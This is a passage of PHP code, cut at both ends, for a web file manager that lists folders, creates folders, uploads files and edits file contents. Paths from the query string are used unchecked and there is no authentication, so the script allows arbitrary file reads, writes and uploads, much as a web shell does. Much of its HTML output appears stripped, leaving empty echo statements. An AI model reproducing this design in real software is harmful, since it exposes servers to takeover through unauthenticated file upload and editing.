'; // Display file size
}
}
// Display folder and file list with separator line
echo '
';
echo implode('', $folders);
if (!empty($folders) && !empty($files)) {
echo ''; // Separator line if there are folders and files
}
echo implode('', $files);
echo '
';
}
// Function to create a new folder
function create_folder($path, $folder_name) {
$folder_name = clean_input($folder_name);
$new_folder_path = $path . '/' . $folder_name;
if (!file_exists($new_folder_path)) {
mkdir($new_folder_path);
echo "Folder '$folder_name' created successfully!";
} else {
echo "Folder '$folder_name' already exists!";
}
}
// Function to upload a new file
function upload_file($path, $file_to_upload) {
$target_directory = $path . '/';
$target_file = $target_directory . basename($file_to_upload['name']);
$uploadOk = 1;
// File upload process
if (move_uploaded_file($file_to_upload['tmp_name'], $target_file)) {
echo "File ". htmlspecialchars(basename($file_to_upload['name'])). " uploaded successfully.";
} else {
echo "Sorry, there was an error uploading your file.";
}
}
// Function to display and edit file content
function edit_file($file_path) {
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$content = $_POST['file_content'];
if (file_put_contents($file_path, $content) !== false) {
echo "File saved successfully.";
} else {
echo "There was an error while saving the file.";
}
}
$content = file_get_contents($file_path);
echo '';
}
// Main program
if (isset($_GET['path'])) {
$path = $_GET['path'];
} else {
$path = getcwd();
}
if (isset($_GET['action'])) {
$action = $_GET['action'];
switch ($action) {
case 'edit':
if (isset($_GET['file'])) {
$file = $_GET['file'];
$file_path = $path . '/' . $file;
if (file_exists($file_path)) {
echo '